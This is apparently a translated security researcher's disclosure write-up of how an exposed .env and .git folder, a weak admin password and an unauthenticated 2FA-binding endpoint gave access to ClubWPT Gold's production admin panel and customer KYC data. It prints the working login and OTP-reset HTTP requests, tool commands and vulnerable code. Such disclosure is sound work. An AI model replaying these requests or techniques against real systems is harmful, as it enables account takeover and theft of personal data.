世界扑克巡回赛黑客事件:深入ClubWPT Gold后台系统漏洞分析

2025年6月,安全研究人员在ClubWPT Gold在线扑克平台发现严重漏洞,通过JavaScript环境变量泄露、.git文件夹暴露和2FA绕过等技术手段,成功入侵其后台管理系统,可获取用户驾照、护照号等敏感信息。

世界扑克巡回赛黑客事件:深入ClubWPT Gold后台系统漏洞分析

引言

在2025年6月,Shubs Shah和我发现了在线扑克网站ClubWPT Gold中的一个漏洞,该漏洞本可以让攻击者完全访问用于所有管理站点功能的核心后台应用程序。此漏洞本可用于检索驾照、护照号码、IP地址、交易记录、游戏历史等更多信息。

在报告该漏洞后,ClubWPT彻底修补了问题,并确认其从未被恶意利用。主机现已无法访问,我们与他们合作确认该漏洞已无法复现。

JavaScript中的异常域名

在ClubWPT Gold网站上玩扑克时,我注意到JavaScript环境变量中保存了一个奇怪的URL:

1
VITE_URL_AMOE_CODE:"https://apigate.clubwpt.liuxinyi1.cn/amoeserver"

这个URL变量很奇怪,因为JavaScript中没有其他引用包含"liuxinyi1.cn"根域名的代码,也没有任何实际使用该变量的代码。考虑到ClubWPT Gold是一家美国公司,这是一个中文域名也很奇怪。

我立即猜测这个域名与网站开发有关,并且被外包给了另一个域名。我继续检查"liuxinyi1.cn"上还有什么其他子域名,以及它们是否与ClubWPT Gold相关。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
zlz@sd-156740 ~> subs liuxinyi1.cn | grep -i clubwpt

coin-admin.clubwpt-dev.liuxinyi1.cn -> 18.142.27.164
proxy-server.clubwpt.liuxinyi1.cn -> 54.251.42.68
gameserver.clubwpt-dev.liuxinyi1.cn -> 18.142.27.164
coin-admin-kai.clubwpt.liuxinyi1.cn -> 54.251.42.68
reverse-proxy.clubwpt.liuxinyi1.cn -> 54.251.42.68
coin-admin-ek.clubwpt.liuxinyi1.cn -> 54.251.42.68
mtt-resource.clubwpt.liuxinyi1.cn -> 54.251.42.68
reverse-proxy.clubwpt-dev.liuxinyi1.cn -> 18.142.27.164
mtt-apimtt.clubwpt.liuxinyi1.cn -> 54.251.42.68
release-wc.frontend.clubwpt.liuxinyi1.cn -> 54.251.42.68
world.clubwpt.liuxinyi1.cn -> 54.251.42.68
vue-alli.clubwpt-dev.liuxinyi1.cn -> 18.142.27.164
clubwpt.liuxinyi1.cn -> 13.250.188.192
ploserver.clubwpt.liuxinyi1.cn -> 54.251.42.68

有数十个ClubWPT Gold服务运行在"liuxinyi1.cn"子域名上,但迄今为止最有趣的是"coin-admin.clubwpt.liuxinyi1.cn"域名。它是一个通用登录页面,似乎用于某种管理工具。

我们启动了ffuf扫描(一种端点发现工具)来查看是否有任何未经身份验证的端点,并得到了一些很好的结果:

1
2
3
4
zlz@sd-156740 ~> ffufdir https://coin-admin.clubwpt.liuxinyi1.cn/FUZZ

.env		[Status: 200, Size: 2264, Words: 186, Lines: 91, Duration: 6ms]
.git/		[Status: 301, Size: 221, Words: 9, Lines: 7, Duration: 11ms]

我们加载了".env"端点,发现暴露了数十种不同的密钥。其中大部分用于内部服务,但也有阿里云凭证:

我们使用aliyun CLI工具测试了阿里云凭证,但它们似乎没有任何权限。

1
2
3
4
zlz@sd-156740 ~> export ALIBABA_CLOUD_ACCESS_KEY_ID=KEY_ID_FROM_ENV
zlz@sd-156740 ~> export ALIBABA_CLOUD_ACCESS_KEY_SECRET=KEY_SECRET_FROM_ENV
zlz@sd-156740 ~> aliyun oss ls oss://bucket-name-leaked-in-env/
ERROR: oss: service returned error: StatusCode=403, ErrorCode=AccessDenied, ErrorMessage="The bucket you access does not belong to you.", RequestId=68B6D3EDCD8814372859C7C9, Ec=0003-00000001, Bucket=bucket-name-leaked-in-env, Object=

由于我们无法使用暴露的".env"文件中的泄露密钥访问任何其他内容,接下来尝试使用tigert1998的Python3 GitHack工具克隆暴露的".git"文件夹。

1
python3 GitHack.py https://coin-admin.clubwpt.liuxinyi1.cn/.git/

几秒钟后,我们开始收到文件。".git"端点正在暴露管理面板源代码!我们让工具运行了一段时间,从网站中提取后台源代码。

当工具完成后,我们似乎获得了完整的ClubWPT Gold后台应用程序副本。通过GitHack泄露的PHP文件中有数百个端点。

我们审查了PHP文件,没有发现太多问题。所有核心身份验证逻辑都非常牢固,我们无法调用任何未经身份验证的内容。

我们在源代码中发现的唯一漏洞是2FA绕过。这毫无用处,因为我们没有有效的登录凭据,而且此时我们甚至没有任何用户名。

验证ClubWPT Gold后台(暂存环境)

在尝试寻找未经身份验证的漏洞时,".env"文件中的一个有趣行引起了我们的注意:

1
manager = jake,eg3478,mike2278,develop

这些似乎是硬编码到环境变量中的用户名。我们检查了源代码,发现网站使用这些值为应用程序的某些用户分配管理员权限,因此它们可能是我们可以尝试登录的有效账户。

由于是开发环境,也许它们有弱凭证?我们测试了所有非常基本的内容,比如"123456"和"admin"。当然这不会奏效,但别无他法。

Burp Suite的intruder工具运行了几分钟。到目前为止的每个响应都是"invalid password"。我继续删除了所有包含"invalid password"字符串的条目并更新了结果表。有一个结果:一个302重定向到"index.html"。

HTTP请求

1
2
3
4
5
6
7
POST /admin/login/index.html HTTP/2
Host: coin-admin.clubwpt.liuxinyi1.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

username=eg3478&password=123456&change_timezone=PST

HTTP响应

1
2
3
HTTP/2 302 Found
Location: /admin/login/index.html
Set-Cookie: s46ea418a=c438f2a0dd6ab3022939d4bf339dce63; path=/; HttpOnly

用户"eg3478"的密码"123456"奏效了。而且该账户甚至没有设置任何2FA。我们立即登录了ClubWPT Gold后台的暂存版本。

有数百个端点,几乎涵盖了你想象中扑克网站后端可能拥有的一切。你可以检索任何玩家的KYC详细信息、向账户添加硬币、封禁他们,并检查任何人的游戏历史。这似乎是连接到暂存网站的ClubWPT Gold管理面板的完整测试基础设施。

我们搜索了我们的用户名但找不到。所有日志都没有任何实际数据。都是虚拟账户。这真的很酷,但还没有任何实际影响。

攻击者也许可以利用这个在某个地方获得立足点,但到目前为止,还没有客户数据。我们决定在报告之前,先看看是否有可访问的生产版本网站。

验证ClubWPT Gold后台(生产环境)

我们运行以下命令从核心ClubWPT Gold网站拉取子域名,并简单地脏搜索管理面板:

1
2
3
zlz@sd-156740 ~> subs clubwptgold.com | grep -i admin

https://coin-admin.clubwptgold.com [403] [] [4517] [Attention Required! | Cloudflare] [Cloudflare,HTTP/3]

有趣。实际的ClubWPT Gold网站上有一个硬币管理主机,但它似乎配置为使用Cloudflare Zero Trust或类似的东西。

也许我们可以像之前那样使用Censys来查找主机IP。Shubs继续搜索"clubwptgold.com"的公共证书并发现了一些东西。

我们加载了Censys IP并尝试使用来自暂存网站的凭据登录:

HTTP请求

1
2
3
4
5
6
7
POST /admin/login/index.html HTTP/2
Host: coin-admin.clubwpt.liuxinyi1.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

username=eg3478&password=123456&change_timezone=PST

HTTP响应

1
2
3
HTTP/2 302 Found
Location: /admin/login/2fa.html
Set-Cookie: s46ea418a=c438f2a0dd6ab3022939d4bf339dce63; path=/; HttpOnly

奏效了。我们有了可能是ClubWPT Gold后台的有效登录,但这次有2FA。

幸运的是,我们在审查暂存网站源代码时发现了之前绕过2FA的漏洞:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function bind() {

    // values pulled from user input
    $secret  = input("secret");   // attacker controls this
    $user_id = input("uid");      // attacker controls this

    // check if user already has a 2FA record
    $record = DB.find("UserOtp", where uid = $user_id);

    if ($record exists) {
        // update with attacker-supplied secret
        DB.update("UserOtp", where uid = $user_id, data = {
            secret      => $secret,
            update_time => now()
        });
    } else {
        // insert new record for attacker-chosen uid
        DB.insert("UserOtp", data = {
            uid         => $user_id,
            secret      => $secret,
            create_time => now(),
            update_time => now()
        });
    }

    // always returns "success"
    return json({
        code => 0,
        url  => "/admin/otp/index"
    });
}

“/admin/otp/bind"端点完全未经身份验证,将允许攻击者通过用户ID更新任何人的2FA密钥。我们祈祷生产网站上的用户ID与暂存环境相同,并发送了以下请求:

HTTP请求

1
2
3
4
5
6
POST /admin/otp/bind HTTP/2
Host: origin_ip_of_production_admin_panel
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 33

uid=10009&secret=XN5XPR72SDX2U3M2

HTTP响应

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 65

{
  "code": 0,
  "url": "/admin/otp/index"
}

我们成功更新了2FA,然后登录了。数据与我们之前登录的网站不同。有真实的Gmail、电话号码和客户数据。我们登录了生产环境。

这都是生产数据。我在用户管理端点上搜索了我的昵称,并找到了我所有的KYC数据。

后台应用程序有大量非常有趣的端点。我可以看到所有存款、AMOE请求、KYC数据(包括任何玩家的IP地址和精确坐标),以及管理站点统计数据,如总存款和取款。

一旦我们看到客户PII,我们立即停止并报告了发现。我们给很多人发了邮件并开了支持工单,但经历了与过去赌博网站相同的情况。事实证明,有很多人向赌博网站发送很多奇怪的邮件,所以很难联系到认真对待我们的人。

我决定考虑到我们覆盖了其中一个账户的2FA密钥,最好继续联系人们,所以我联系了ClubWPT Gold的一些大使,希望他们能将我们联系到某人。在几个小时内,我们与他们的基础设施负责人取得了联系。

我们披露了漏洞,ClubWPT Gold团队在几个小时内修复了一切。他们非常接受并与我们合作确保一切得到解决。

致谢

Sam Curry (https://x.com/samwcyo) Shubs Shah (https://x.com/infosec_au)

感谢

感谢Ian Carroll、Gal Nagli、Joel Margolis、Brett Buerhaus和Justin Rhinehart审阅帖子。感谢ClubWPT Gold在披露漏洞时非常接受和乐于助人。感谢Alexandra Botez让我们与ClubWPT Gold团队取得联系。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计